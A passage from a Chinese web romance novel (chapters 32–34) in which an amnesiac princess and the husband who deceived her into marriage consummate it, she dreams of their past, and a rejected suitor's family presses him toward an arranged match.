男孩儿心底渴求爱的火苗被冷水彻底扑灭,只留下那被烧毁的一团黑炭。 这个世道,好人没有好报。 不对,这个世道没有真正的好人。 既然如此,那就做最坏的那个。 成为一个恶贯满盈的人,才是对自己最大的恩赐。 宋衍猛地睁开眼睛,抬起头,伸出颤抖的手掌,却看不到丝毫轮廓。 宋衍啊宋衍,你还在期待什么? 你还期待爱吗? 期待阿姐的爱吗? 从小到大,你为此获得的失望还不够多吗?怎么此刻又忘了? 你如今坐拥万里江山,你已经将唯一所爱困在自己身边,身为恶种怪胎的你,凭什么贪心?凭什么期待更多? 这么多年过去了,你内心多肮脏,多丑恶,脚踩了多少尸骸,难道你不知道吗? 就你这样的人,凭什么对单纯美好的她抱有期待? 你这只白眼狼,天生克亲人的孽障,当初就该胎死腹中,你怎么好意思活在这个世界上? 你怎么好意思去玷污这世上最纯洁的她? 这样的你,不如去死好了。 死了,你就不用再活在阴暗之中,不用再欺骗操控她,更不用对爱抱有期待。 去死吧,宋衍,去吧…… 随着“砰”一声巨响,柴房门被南风踹开,狂风呼啦呼啦灌入,躲在角落中抱膝的宋衍抬头,思绪顷刻间打断,一道倩影猛得扑了过来,将他抱在怀中。 是他的光。 第32章 第32章圆房吧,让我试试 宋衍没有任何抗拒,任由沈遥拉着他的手,将他牵进温暖的寝室之中。 好像当初的阿姐,拉起他的手,告诉他,她不会放弃他,她会保护他一样。 沈遥进了屋子后,转头让锦书准备些吃食,将门关上,扫视了一圈,又上前多点了两盏灯。 更明亮了些,是柔和的光线。 宋衍的视线一直跟随着她没离开过,看着她脱去披风,乖乖地又被她牵着坐进拔步床中。 今夜她穿得不多,一件单薄的月白寝衣,手腕很细很白,被烛光染成淡黄。 看得出来,她本是准备就寝。 许久沉默后,宋衍问她:“你不问我吗?” 沈遥将被褥铺好,躲进去舒服地呼出一口暖气,瞪向他,“问!自然要问!” 宋衍合衣半躺着,被褥下的双拳攥紧,垂眸等着 她的盘问。 窗边的小橘见到两人后,一蹦一跳地上了床,爬到宋衍身上,不紧不慢地踩着,碧绿的眼珠子在两人间打转。 “你问吧。”宋衍心跳如擂,一边摸着猫儿,一边看向拔步床外。 沈遥注意到他回避的态度,一直凝视着他侧颜。 他下颌此时显得更加凌厉几分,喉结不断滚动着。原本板正的衣裳如今有些凌乱,松松垮垮,腰带歪着,还可以隐隐从衣襟口窥见他极好的身材。 沈遥轻笑一声,问他:“时衍,你还生气吗?” 宋衍一怔,重新看回她的脸,她在烛光下微微带笑,若细细一观,还能在她额角处看到一颗极小的痣。 她总是这样,轻易地就把他冰封起来的心搅得水淋淋。 “你就问这个?” 当看到他的正面时,沈遥注意到他的脸,一半在暖光之下带着柔和,又有些腌巴巴的,一半隐匿阴影之中,深沉,看不出情绪。 她没有说南风告知自己的话。 “夫人与爷相处那么久的时日,想必也能看出,爷其实不同于常人,是有些疯病在身上的。这次他把自己关在柴房中,不见光线,其实也是通过自虐的方式在控制自己情绪。” “夫人,爷真的很不好,任由他这样下去,迟早会出事儿的。而唯一能带爷走出那间柴房的人,只有夫人你啊。” 沈遥说:“嗯,就问这个。” 宋衍倏然笑了一下,眼底原本不正常的漆黑忽然亮了起来,“嗯,还生气的。” 沈遥发现其实他的眼瞳在某些时候其实很亮很透,跟猫眼睛似的。 对于他的回答,她着实感到好笑,“你都气那么多天了,怎么还气?” 完全就是个小屁孩。 宋衍轻哼一声,“你应该哄我的。” “哄你?”沈遥似乎听到了什么笑话,捂着额头不可置信,“我试图找你哄你那么多天,你都不搭理我,我也是有尊严的好吗?” “况且,我也没真的与宁梓谦发生什么。” “哼,你还想与他发生什么!”宋衍又不说话了,直接半拧开身子,不靠近她。 “我那天送他离开,都与他说清楚了,让他不要再来找我了。” 沈遥见他别扭的模样,也没继续说话,只是一直看着。 最后是宋衍忍不住了,他又转过来,淡淡道:“我当时生气着,你要是再多哄一天,我就不气了。” 沈遥挑眉,“那你意思是,今天哄你后,你就不气了?” 宋衍脸颊微微泛红,没有说话,故作冷漠地点点头。 他静静看着她,可等了许久,都不见她有任何举动。 他着实无奈,“你不打算哄啊。” “等等,我想想。”沈遥皱着眉冥思苦想,在哄人一事上,她其实很生疏。 “你……”宋衍又被气笑了。 他记得,他教过她的。 “啊,我想到了,想到了。”沈遥生怕他又要闹小孩子脾气,立刻打断,“我给你讲个故事吧。” “……好。” 沈遥半趴着,靠近宋衍,“在某个乡下村子里,有个书生娶了一新娘。那新娘美若天仙,是村民从没见过的美人。新婚之夜,书生娶下新娘的盖头后,你猜发生了什么?” “没想的好看?” 沈遥笑了,摇头,声音低沉又晃荡,道:“新娘美,巨美。她问书生,‘你怕鬼吗?’书生说不怕。新娘又说,‘我很怕——嫁给活人——” 宋衍:“……” 见他没有任何反应,只是表情僵硬,沈遥咬唇躺了回去,有些尴尬。 “我重新给你再讲一个吧。” 宋衍:“哦,好。” 沈遥闭眼回忆一番自己看过的话本子,想到一个后睁开眼,“很多年前,因着一男子犯了错,被贬到一边疆小镇中做镇长,他带了自己妻子一同前往。” “到了那处小镇后,镇民都极为热情,可男子一打听,才知道以往小镇中前任的五个镇长皆任职一段时间后得了疯症。” 看着她激动的模样,宋衍很给面子地做出好奇状,“然后呢?” 沈遥笑道:“这不算什么大事,因着大家都说,那些镇长都是因被贬,郁郁不得志,才会这样。男子一向意志坚定,所以并未将此放在心上。而这个小镇一向没有什么大事,唯一令人困扰的,便是蝗灾泛滥。” “为了解决蝗灾,男子每日废寝忘食,忽略了自己妻子,可有一天,他突然发现!” 沈遥骤然停住,凑得很近,给宋衍吓笑了。 她继续幽幽讲着:“自己的妻子,明明是内宅妇人,却每日往田埂里跑。为此,男子还与妻子吵了一架,可妻子仍然每日出门,根本不听他的话。” “那是该正正夫纲了。”宋衍觉得此时的她异常可爱,努力压下唇角笑意,等着她继续讲。 “诶,这不是重点。”沈遥无奈,又聚精会神说:“他觉得自己妻子在外面许是偷了人,便悄悄跟踪,却没想到,妻子竟蹲在田埂中,一边疯狂大笑,一边将抓着飞舞的蝗虫塞到嘴中咽下。” “男子被恶心坏了,立刻上前抓住妻子想要阻止她的行为,却没想到妻子直接开始呕吐,吐了一地的蝗虫,皮肤下似乎还有虫蛹蠕动,直到最后,成百上千只蝗虫撑破妻子的肚子飞了出来。” 宋衍沉默。 沈遥接续道:“男子吓得不行,跌跌撞撞回家后,直接躲到床上睡了一觉,醒来后竟什么都不记得了。最后故事的结局,是男子一边吃着饭,一边从饭中夹出活着的蝗虫,面无表情地吞下。” 宋衍:“……” 他看着她红红的脸蛋,万分不解,为何这么可爱的诺诺,嘴里讲出来的故事不是恐怖,就是恶心。 见他仍是面无表情,毫无反应,沈遥摸了摸鼻子,看小橘还在宋衍身上不停地踩,她将其一把抱过,困在怀中不让它逃跑。 宋衍着实无奈,“这就是你的哄啊。” “啊。”沈遥点点头。 “行,你说哄就哄,我今夜怕是吃不下饭了。”宋衍摇摇头。 “那你心情好些了吗?” “什么?”宋衍身子有些僵硬。 “没什么。”沈遥笑着低喃一句。 看他的模样就知道,他没再想那些不开心的,将他困在那间黑暗柴房的往事了,只要不去想,他会开心的。 宋衍自是明白了沈遥的用意,心底柔软地化成一滩水,他倾身上前靠近她耳边,声音意味深长起来,“诺诺,哄人其实有更简单的方法。” 沈遥耳根子被他弄的很痒,他靠的很近,眼底是被春风吹过的温柔。 “……什么方法。” 宋衍笑笑,直接贴上她的唇,在她还没反应过来时,扣住她的下巴,轻柔地吻着。他试探地撬开她牙关,侵略每一寸柔软,手挪到她的后脑,轻轻抚过她耳后。 许久后,见她还瞪着眼睛,他笑笑,“这才叫哄人,我教你。闭眼。” 沈遥听话地闭眼,感受到他愈发得寸进尺起来,手在乱动,可自己却不受控制,似乎在窒息,又在大口呼吸。 忽然房门被敲响,是锦书的声音:“姑爷,夫人,晚膳已经备好,要奴婢端入房间内吗?” 沈遥一抖,立刻用力将面前的人推开,他的手也从她衣下收起。 她满脸通红,嘴唇发肿,声音哑哑的,“拿进来,放在案上就是。” 锦书领命后入了寝室,不多看一眼,只是恭敬地将清汤面摆好。 而这期间,宋衍又吻上了她的脖颈,轻轻啃噬着。沈遥被他磨得又痒又怕,不敢发出太多动静,直到锦书又低着头离开房间,关好门后,她才生气地将人推开。 “你别 得寸进尺!” 宋衍笑着,贱兮兮道:“好软,控制不住。” “时衍!够了啊!” “好了,不弄你了。”他怕将她真惹急了,又乖坐回去。 “你一天没吃饭,现在做好了就快去吃。” 沈遥坐在床里侧,想跨过他下床,却没想到他抬腿一勾,瞬间失去平衡,扑倒在他身上。 她怒了。 “除了诺诺,从没有人对我这么好过。” 沈遥本想挣扎着起来,听到他低沉的话语后,心底一沉,又不动弹了。 “公公,婆婆,他们也对你不好吗?” “嗯,他们不爱我。”宋衍将趴在自己身上的沈遥抱紧,头埋在她颈间,深呼吸一口气,“他们只爱他们的另一个孩子,我是多余的那个,是应该胎死腹中的那个恶种,怪胎。” 沈遥半撑起身子,定定看着她,不敢置信他竟说出这么自暴自弃的话。 “你说的是你那个妹妹吗?” 宋衍没有回答,只平静地说:“还记得那年,他们的孩子学骑马,让我在一旁看着,可马受了惊,我努力上前控制,他还是坠马了,嫡母认为我没看好,让我跪在雪地中两天两夜,导致后来膝盖一到阴天就发疼。” 沈遥心惊,“后来呢?” 宋衍将她脸上的发丝轻轻拨开,“后来诺诺发现我这毛病,每当天气阴冷时,都会给我热敷缓解。诺诺是唯一一个,关心我的人。在我身处淤泥,满身恶臭时,还看得到我,唯一在乎我的人。” “那你现在?”沈遥垂眸想看他的膝盖。 他温柔地揉了揉她发顶,“郎中已经给治好了。” 沈遥从很早以前,便看出来,他是个极度缺爱的人。他对爱的渴求,好似沙漠中的旅人,对水的渴求。 他时常精明,占有欲强,又强势,时常脆弱疯癫,幼稚,极度不安。 他身为她的丈夫,却在隐忍克制,好像生怕将她吓跑了似的。 沈遥扯了扯他的衣带,“时衍,要试试吗?” “试什么?” “我不知道真正去爱一个人是什么样的感觉,我没有曾经的记忆,但我们已成亲许久,这么些时日的相处,我也不能虚伪地说我对你毫无感觉。” 宋衍屏住呼吸,瞳孔渐渐放大。 沈遥有些紧张,手指颤抖。 她说:“圆房吧,让我试试,以真正的妻子去爱你。” 第33章 第33章阿姐,我疼。阿姐,哄我…… 寝室窗门都被死死地关着,却仍能感受到浮动而流通的空气与暗香。 宋衍觉得自己一定是疯了,才从她口中听到“圆房”二字。 她一定是在同情自己。 想到此处,他心脏痉挛得浑身发疼,内心被巨大的矛盾拉扯着,一边是被温水般的怜悯将心脏上的冰霜融尽,一边却是对“同情”二字的巨大鄙夷。 他道:“诺诺,我不需要同情。” “不是同情。”沈遥在烛影夜下看着他双眼的光泽,“你不知道,你这副模样有多诱人。” 往日的夫君在外人面前无论言行还是穿着,都规规矩矩,透着严肃。哪儿像此刻,被情欲浸透过的双眼中带着挣扎,凌乱的衣襟,若非腰带还紧紧系着,或许早已全部散开。 越是如此,越是叫人想扯开他的衣裳,撕破他那张在外人面前禁欲又正经的脸。 沈遥看着他红透了的耳根子,噗嗤一声笑了出来,“书上说过的一种美人,叫作‘犹抱琵琶半遮面’,弟弟这样半露不露的,真的很符合这话。” 宋衍眼光中透出猎豹准备猎杀时的精光,他心底一颤,一个翻身将沈遥压倒身下,强势地拉起她双手举过头顶,懒洋洋道:“阿姐,你这么有经验啊。” 他倒是知道,曾经长公主府中养了不少给她唱曲儿的伶人,长安城中甚至传她的面首颇多,极爱男色。 他并不知流言的真假,就算是真的也没关系,反正她如今是他一人的,是她的妻子,身上是他的气味。 沈遥装作遗憾道:“可惜,我都不记得了……” 她话音刚落,宋衍报复性地俯身咬了一口她的唇,她“嘶”了一声,又用力捶了下他胸口。 宋衍居高临下道:“让你整日气我,给你点教训。” 他虽然嘴上这么说着,可实际上又不敢真做什么了。他俯身一寸寸吻着她,不遗漏丝毫土地,看着沈遥愈发迷离的神情,即将到最后一步时,他又一次胆怯起来,放开她的手,躺到她的身旁。 沈遥还沉浸其中,一时没反应过来,扭头看着他不解,“不做了么?” 他翻过身背对着她,轻轻“嗯”了一声。 即便他再卑鄙无耻,为了得到沈遥,说了这么多谎,可在真正面对她时,他还是难以突破心底那根无形的线。 他太过肮脏,怎能轻易将她污染? 他满嘴谎言,是恶种,是怪胎,手染鲜血,脚踩万骨。 多少个日日夜夜里,他只敢躲在她的床底,同她呼吸同一片空气,或是躲在门后,从缝隙中窥视。 她呢?是娇花,是唯一的光。洁白无瑕,光明正大。 他怎么配得上? 其实一开始趁她失忆夺了她,他并没妄想过与她有真正的肌肤之亲,他只是不想她嫁给别人。 仅此而已。 可后来一步步,还是没能控制住自己。 他粗糙的双手碰触了她,肮脏的唾液污浊了她,就连他躲在缝隙中的视线,都好像变成了一种强///暴。 每当她颤栗之时,那娇嫩的皮与带着薄茧的指腹形成了最鲜明的反差,无时无刻提醒着,他是活在阴沟里的老鼠。 而那最为圣洁的占有仪式,是最后的一道防线。 他着实不配! 沈遥自是不理解他的想法,有些失落道:“你对我,没感觉吗?” 宋衍倏地转过身,不想她失望,又不知如何与她解释,也不知如何面对此刻的求欢。 最后只是细若蚊音地说了一声“有”。 无时无刻,都有。 沈遥所有的经验都来自于话本,图册,他不知道,她看过很多。 见他并非全然抗拒,她慢慢伸手上前,勾住他的腰带,试探地一点点解开。见他不阻止自己,她胆子更大了,将他上衣剥开,是实实在在的胸肌与腹肌。 烛光似乎化作春色,她面孔明明如此纯洁清澈,偏偏说出的话又这般浪荡,“弟弟,别忍了。你忍得了,阿姐忍不了。” 宋衍喉结疯狂滚动着,嘴中轻轻点了点头,又猝不及防地将自己身上零散挂着的衣料拉开,好像将那最后的防线扯断。 “那就,试试。” 今夜是月色明亮的夜晚,屋内的灯与月光交相辉映,穿过呼吸交缠的鼻尖。 两人实际都没什么经验,半懂不懂,进行得极为困难。 特别是宋衍,呼吸急促,双手颤抖,冷汗不断从额头冒出,整个人僵硬得不会动弹,比她这个未经人事的女儿家还紧张。 沈遥长叹,抚上他的腰窝,“说实话,曾经刚醒来时,我是不信任你的。我一直想要找回缺失的记忆,因为那是属于一部分的我,我感觉自己似乎不完整了。” 宋衍垂着眼眸,凝视着她,汗液从下颌滑过,滴落在她的唇角。 沈遥抬起头落下一个很轻的吻,“可是后来与你相处的日子,即使找不回曾经缺失的那一部分,我觉得和你一起生活,每日待在这个小镇,平平淡淡,也挺好的。” “即便你做出许多出人意料的举动,其实比起质疑,我愿意尝试着去理解你。” “诺诺……”他眼底的黑眸闪烁着,动容着。 “那次知道了你用梨花骗我,我戳穿你后,我也没有想着离开。我想要等你解释,可你却走了太久,留下我一人在这个安静的时府。你知不知道,你真的很过分。我讨厌死你了。” “你说我是你唯一的亲人,你又何尝不是我唯一的亲人呢?” “诺诺,对不起,都是我的错。” 沈遥有些疼得脚尖发颤,却还是轻轻抚着他的脊背,如安抚炸毛的猫儿一般,“我知道,你在害怕,你今夜和我说了,我才知道你有多缺爱。所以你才不知道该如何正确去爱一个人,即便你努力尝试过。” 宋衍将脸埋在她的颈肩,“诺诺,我真的很爱你,我从没这么 爱过一个人,真的。” 沈遥攀住他的宽厚的肩,“我也不知道如何正确去爱一个人,所以没关系,我们以后一同学习,毕竟谁不是第一次做丈夫,第一次做妻子呢?” 宋衍没有说话,只觉得自己喘不上气,溺毙在了海水中,尾椎骨随着脊椎一同在酥麻震颤,心脏在抽搐。 她对他越是温柔,越是安慰,他越是被自己心底那柄利刃所折磨,痛不欲生。 可是相比起来,看着她嫁给别的男人,与别人做夫妻之事,他好像更痛。 自从小白猫被虐杀后,他再也不渴求任何,直到遇见沈遥,他才有了新的欲望,才知道原来他还活在这世上。 耳边传来她细微的声响,鼻尖萦绕着她身上的香味。 曾经只有梦里的景象,如今成为现实,即便上天不公,却还是给他留下一丝幸运。 没关系,我会骗你一辈子,只要你不发现我的卑劣,我们此生都将幸福。 我会补偿你,任何你想要的,哪怕叫我上刀山下火海,我也愿意,只要你能快乐。 我会保护你,无论是用权势也好,还是金钱也罢,你将永远安逸地生活在我为你建造的桃花源中,剩下的一切,都由我来做。 他不允许其他人进入她,原本他连自己都不允许。 可他们已经完成这场圣洁的仪式,她从此是他的了,此生都被刻上了属于他粘腻浓稠的烙印。 随着汹涌的潮水侵袭,鱼儿穿过瀑布河流,跃入大海,他将她紧紧抱在怀中,低声道:“阿姐,对不起。” “诺诺,我爱你。” 沈遥闭着眼睛,身上带着不知是谁的汗液,忽然感受到颈肩一股潮湿。 她一怔,“你哭了?” “没有。”他嗓音哑哑的,却不愿意将头抬起,也不愿退开。 沈遥抿唇,勾着头往外看了一眼,“半刻钟……” 宋衍愣住,抿着嘴,始终不肯抬头,也不敢相信,“不可能。” 沈遥眯着眼仔细又看了一遍,“好像,没到半刻钟。原来你因为这事儿哭的?” “阿姐!”宋衍恼羞成怒,翻身滚开躺到侧边,拉过被褥盖着自己的头,裹成一只蚕蛹,不愿看她,就好像被欺负了的小媳妇,也不知防着谁。 沈遥从没想过,夫君竟是这副模样,自己还疼着呢,没想到还得反过来哄他。 她上前拽了拽被褥,对方却丝毫不动弹。 沈遥再也憋不住,笑得不行。 宋衍闷闷地声音传出来,“阿姐,我疼。阿姐,哄我。” “啊?你……”沈遥震惊。 “真的,刚才好疼,不骗你。” “……好,哄你。”沈遥着实无奈。 见他放松了,不再死抓着被褥,沈遥笑着将其扯下,上前凑到他唇角吻了吻。 “这样哄,是吧?” “嗯,不够。” 沈遥憋笑着,又多吻了几次,直到发现他在暗笑,才退开。 宋衍身上的被褥被彻底扯开后,迎着烛光,沈遥垂眸一怔。 只见一条小臂长的伤疤横亘在他的腰部,顺着肌肉线条往臀部延伸,以前从未发现过。 她伸手顺着那道伤疤滑下去,他身子倏然僵硬起来。 “怎么了?” 沈遥问:“你这疤哪儿来的?” 宋衍声音没什么变化,“之前一次坠马,木刺刮的,别担心,已经好了。” 听他这么说,沈遥也不再多疑,颔首起身叫了水。 待两人一同沐浴过后,案上那碗面已经成了一团,无法再吃。 有过鱼水之欢后的宋衍变得特别粘人,沈遥走到哪儿,他便跟到哪儿,关键他还不穿衣裳裤子,就鬼一般站在她身后,图穷匕见。 她有些怪异地拉紧了自己身上的中衣,随意用筷子搅拌了下清汤面,无奈道:“我叫锦书再让厨房弄一碗,你今夜都没吃东西。” “不用了。”他上前将她全圈在怀中,贴着她后耳,声音带着满满的诱惑,又骚又浪,“阿姐,我是饿了,但不是肚子饿,是小小衍饿,一次吃不够,再来一次,好吗?” 沈遥:“???” 沈遥:“!!!” …… 天色阴沉,一片黄叶密林之中,沈遥已经独自躲了五个夜晚。 如今刚刚入陇右道,便被一群死士盯上,只差最后一段距离,便能到达甘州。等到达甘州后,就会安全。 可惜天公不作美,夕阳西下时,乌云密布,骤然间下起滂沱大雨。雨滴穿过树梢与灌木丛,打湿她身上的衣服。此地明明很少下雨,没想到竟如此倒霉。 得寻一处避雨,最好是山洞。 她一边猫着腰,一边往深山处找寻。为了躲避那群死士,原本一直待在她身边的人与她分开许久,如今她很担忧他的安危,却倍感无力,只能在沿途做下记号,祈祷他能快些找到自己。 幸运的是,她很快寻到一处避难所。 然而浑身湿透的她,很快便昏睡过去,浑身乏力,呼吸困难,定是染了风寒。 当她有意识时,一只温热的小手放在她额头,转瞬间,她心底绷紧了的弦松了下来。 还好他没事儿。 若他出了事,她也不想去甘州了。 他点了篝火,又烤了野物和果子,让她舒服地靠在他怀中,撕好肉,一点点喂她,言语中充满了担忧。 不过就是一场风寒罢了,她体质一向好,傻小子。 明明还是个十来岁的小屁孩,如今已经会照顾人了。 在山洞中又生活了两日,他每日采来药草给她服下,终于让她不再发热,恢复了力气。 他们可以上路了。 虽然很累,可再坚持坚持,一定能走到甘州。 等到了甘州,她要躺到舒适的大床上好好睡一觉,吃好几个烤鸡腿,再买两个糖人。 快要出密林时,他们还是被一单独行动的死士发现。 好在她有些功夫傍身,从一旁拾起木棍便冲上去与死士搏斗。可毕竟年纪小,再加之对方手持利刃,她很快落了下风。 她转头大喊着想让他先跑,坚持了几个回合,她被一脚踢上胸口,摔在泥地之中。 那人力气极大,她疼得无法动弹。 当抬起头时,她看着那把巨大的砍刀朝自己挥劈而下,她以为自己要死了,躲不过了,却没想到一个身影猛地飞扑过来,用背挡下了那一刀。 “刺啦——” 在死士重新提刀的空档,他转过身,一把匕首从他手中直直捅入死士正脸。 她还在心有余悸地看着面前两个重叠的身影,直到血从他后腰涌出,染红了她的双手,她才回神,惊呼起来:“小衍!你受伤了!” 他听闻后扭头蹲下,面前的是一张青涩的脸,是个极为俊俏的男孩儿。 他唇色惨白,朝她微微一笑,温柔安抚她:“阿姐,别怕。” 沈遥猝然睁开眼睛,头顶的白色帷帐告诉她,她躺在拔步床上。 屋外的阳光穿过白纸窗户投入,带着明亮与温暖。 原本挂在她身上入睡的夫君已经离开,猫儿毛茸茸软绵绵一团睡在她身侧,占据了他的位置。 一宿颠鸾倒凤,浑身酸疼得被车轱辘碾过一般,可更让人心神不宁的,是刚才的梦。 沈遥按压着眉心,缓解头痛之感,许久才从中回神。 是做梦。 亦或者,是过去的记忆碎片。 梦中那个男孩儿的脸,很明显是曾经的夫君。 可他们为何会去甘州,为何会被死士追杀,她却全然不知,夫君也半句没提过。 还有他后腰的那道伤疤,究竟是如何留下的? 他又在骗她? 第34章 第34章并无时衍此人 宁梓谦回到宁府后,将自己关在房中数日,除了阿栗送饭进来,谁也没见。 直到这日阿栗敲响门,不 等他回应后便推门而入,“公子,快出来,今儿来了有意思的。” 宁梓谦躺在床上,身为一个无所事事,每月将近二十八日休沐的的校书郎,除了玩乐便是睡觉。如今受到来自沈遥的打击,更是没了玩乐的心思。 “走开,本公子近日心烦着。” 阿栗也不管了,上前直接拉着他的手,将人拉起来,愁眉苦脸道:“公子,今日你若不出来,大夫人会打死小的。” 宁梓谦道:“母亲不是这样的人。” 阿栗着急,直接朝着宁梓谦跪下,大声嚷嚷起来,“公子啊,大夫人今儿下了死话,公子若再不出去,就将您给绑了扔出时府,断绝关系。大夫人扔您也就算了,他说小的是公子的人,到时候也要同公子一起上街行乞。小的不想当乞丐啊!公子!” 宁梓谦被他吵得心烦,自是不相信母亲真会做出如此举动,却还是一手将人从地上拎起,不耐烦道:“行了行了,我出去就是了,母亲找我究竟何事?” 阿栗没有立即回答,直到宁梓谦被带到一处水榭屏风后,才终于知晓母亲用意。他转身想走,扭头却看到阿栗祈求的神情,最后不得不坐下。 屏风后落座一女子于母亲林氏对面,娉娉袅袅,手持茶筅轻轻搅拌。待煮好茶,将其分于茶碗中,又加入橘皮递给林氏。 “家父前些日子与北庭节度使有所交往,节度使听闻了宁家之事,还说想有机会,邀请您一家去边塞呢。” “诶哟,节度使大人真是高看我家了。” 林氏笑眯眯接过品尝后,道:“白姑娘茶艺果然不错,这和我平日里饮的,差别大着。” 白岁岁温婉一笑,“这茶道之中,首先讲究用水,山泉水为上等,井水则为下等。二来,便是这煮茶三沸,在三沸时,水翻腾剧烈便应停火,否则水过老,煮出来的茶便会苦涩。” 林氏商贾家妇人,以前也没学过这些,听得半懂不懂,“白姑娘果然贤德,我家那臭小子与白姑娘相比,怕真是高攀了。” 白岁岁抬袖捂嘴一笑,“怎会如此,宁小公子同进士出身,前途不可限量,曾经还是驸马。” “诶,没有没有,那亲事也没结成,算不上驸马。”林氏立刻摆手,“倒是听闻白小姐上头有五个哥哥呢。” “是,岁岁是幺妹,其实曾经还有两个哥哥,皆在幼时夭折。” 听闻后,林氏虽嘴上说着遗憾,心底却更是激动起来。 待送走白岁岁后,林氏立马走到屏风后,“怎么样?这白家姑娘可入得了你眼?” 宁梓谦面无表情,想要甩手走人,可碍于长辈面前又不得无礼,“母亲,我对白姑娘没兴趣,我心里只诺诺一人。” “你真不识好歹!”林氏恨铁不成钢,“虽然长公主身份尊贵,当初叫你走了狗屎运,可你们已经不可能了。” “白姑娘哪儿不好了?为人贤惠,她父亲可是效忠于北庭节度使麾下。算得上一方土皇帝的近臣了。你忘了,当初就是河西节度使举兵,当今天子才是这位的,这白家的权势和那长公主家比,也差不了太多,反而能助我们脱离皇帝的掌控。我们也不指望你这个校书郎了,你若真心为了宁家,就该好好结识这些高官。” “还好你没当上驸马,若成了驸马便得远离朝堂,那我们宁家到头来,还是商贾,也走不了多远。” 宁梓谦震惊地看着自己母亲,半晌说不出话,“母亲怎能这般说诺诺!” 林氏丝毫不在意,尤其是一个失踪已久的人,别说清白可还在,尸首怕是都被那野兽给啃光了,不然怎会那么久都没个消息。 “你这臭小子真是愚昧,白姑娘除了身家背景,关键是她母亲生了七个儿子,你也听到了吧。” “那又如何?” “什么那又如何!”林氏气不打一处来,“她母亲这般能生儿子,那白姑娘定然也能生儿子,我刚看了她屁股,咱们以前乡下都娶这种屁股大的,极好生养。” 宁梓谦着实听不进去了,扭头便走。 林氏被他的态度气得心梗,立刻跑上前,提高了嗓子,“你若还想着长公主,不顾我们宁家上百口人性命,你岂不是要气死你爹!” 宁梓谦停住脚步,着实不解,“什么意思?” 宋衍并非没在自己面前说过类似的话,可他为了宁家,从来没将真相告知过沈遥,宋衍那狗贼不应出手才是。 林氏道:“你爹身子愈发不好了,上次陛下身边的东风又来府中敲打,说你若再惦记着长公主,到时有的宁家好看,但你根本从不放心上。宁家如此大的家业,如今在生意上处处受阻,代表了什么,你还想不到吗?” “梓谦啊,宁家已经被陛下盯上了,兔死狗烹的事情历朝历代发生的可不少。若宁家得到白家相助,还能保全安稳,若这样坐以待毙下去,死的就是我们。” “如今可是在夹缝中求生,你这个傻的,竟然到现在都反应不过来!” 她抽出帕子,擦了擦红起来的眼眶,“你个不孝子,自回家后都不去看一眼你父亲,他人到现在都还躺在床上,也最是操心你的事。” “父亲病了?我现在就去看他!”宁梓谦眉心一跳,又在心底咒骂了宋衍一声狗贼,连忙往主院奔去。 当看到宁忠时,他完全没想到,人已经病到唇色全无,食不下咽,整个人半躺在床上有气无力。 宁梓谦冲了进去,立马跪下,“父亲!孩儿不孝!” 宁忠说不动话,只是眯眼看了好半天,才认出他,只得叹息着抬了抬手。 林氏跟在宁梓谦身后进来,看到宁忠的样子,没忍住又开始落泪,“你父亲如今最忧心你的婚事,你要真孝顺,就趁白小姐还在长安,人家对你印象也好,多去接触接触,早些把这事儿给定下来。等你娶亲后,我们就回凉州,这才是保全我们宁家最好的法子。” “当然,若最后真是不成,我和你父亲自然也不会强求,毕竟都是天命。” 宁梓谦脸上没什么表情,只是脑袋耷拉着,最后答了一声“是”。 …… 自圆房后,沈遥便一直没再见到宋衍,如今已过两日,连着南风,人甚至在晚上都没回来。 她问起锦书,可锦书又说不出,只道或许书院有要事,因此也没能有机会询问疤痕一事。 生活照旧,陪小橘玩耍,或是在天气好时出街。 镇西边新开了家糖铺子,生意红火,她嘴馋得厉害,锦书便只身前往排队,让她留在一处茶铺休息。 茶铺中人很多,有斗鸡开赌局的,也有坐在桌前嗑瓜子聊天的。 两个婆子在沈遥背后唠嗑,讲完哪家新纳了妾,又讲哪家娶了个彪悍媳妇,现在又讲到了镇外之事。 “诶,你可知道最近闹的科举舞弊一事,涉及了不少高官,听说还有许多因此落榜的书生打抱不平,集体在长安城街道上闹。我家老头上次从外面回来,说那长安城可乱了。” “竟有这么大的事儿,我倒是没听说,许是日日待在这葫芦镇中,消息闭塞。” “老头说,昨日街道上书生闹得流了血,好几个涉事严重的直接被抓进牢房里去了,都是那什么,鹿什么书院的。” 沈遥一怔,手里的茶水晃了一下,将自己裙摆打湿。 鹿桐书院,那不是夫君所在的书院吗? 这人圆房后按理说与自己更加亲密才是,怎会忽然又消失两日,难不成真涉入了这科举舞弊案之中? 沈遥转过身,看着那两个婆子,急切道:“你们说的,难道是长安城里的私学,鹿桐书院?” 那两婆子话音一顿,这才发现沈遥竟坐在她们身后,定睛一看,可不就是时府那位夫人么,立马变得支支吾吾起来。 “这……应该吧,我们也不确定。” “呃,我也是道听途说来的,很多消息怕是做不得真,我俩老婆子还有事儿,就先走了。”说完,两人招呼也不打,便挽着手,结伴溜出茶铺。 沈遥并未在意她们的态度,只是心底担忧起夫君安危,隐隐猜测夫君未能归家的原因,或许是被卷入了这案件之中。 要是如那婆子所言,夫君真被抓进监狱,那更是独木难支,人微言轻,无人会从狱中捞她。 不行,必须亲自去一趟长安,确认他安危,将他带回家。 毕竟他们如今已是真夫妻,即便对疤痕有疑问,她也必须从他口中亲自确认,而非随意揣测。 沈遥站起身,戴上幂篱,快步离开了茶铺,又掂量一番腰间钱袋。 还好她这次出街带了不少。 她往租马的地方去,运气却不好,这老板今日休沐。 待走到葫芦镇门口时,看着门外小路,稀少的人烟,她忽然又犹豫了。 上一次纵马出镇,她被骗光了钱财,遇了盗匪,害得南风受伤,令夫君担心。他告诉自己外面世道的危险后,她便再也没想着出去过。 并非她不好奇,而是产生了胆怯,不想给人添麻烦。 犹豫许久,她还是迈步踏出葫芦镇。 这次不一样,这次是为了夫君安危,即便胆怯,她也必须去做。 出镇子后,沈遥才发现,葫芦镇位置隐蔽,四周比上一次出镇时多了一片密林,需要走过一条很长的小道,才能看到通往长安的驰道。 虽然镇子位于这么大的城市附近,可外人若是想要寻到镇子,并不容易。 这次她并未遇到山匪,一路走得极快,在不断问路后,总算暮色四合前赶到了城中。 长安的繁华是她在葫芦镇中极难见到的,即便已临近天黑,街道上仍是人来人往,小贩熙熙攘攘,好不欢乐。 鹿桐书院是城中除了国子监外最有名的一处私学,往日又不少名师圣人在此授课,寻找书院并不困难,问几个人,穿过几条街道便能找到。 临近书院的街道有些混乱,一些横幅被肆意扔在地上,染上了积水污泥,还有倒在地上,横七竖八的杆子,看起来便知晓此地经历过一场恶战。 沈遥心底更是紧张起来。 在书院门口等了会儿,一小厮模样的人走出来,“敢问这位小娘子来书院有何要事?” 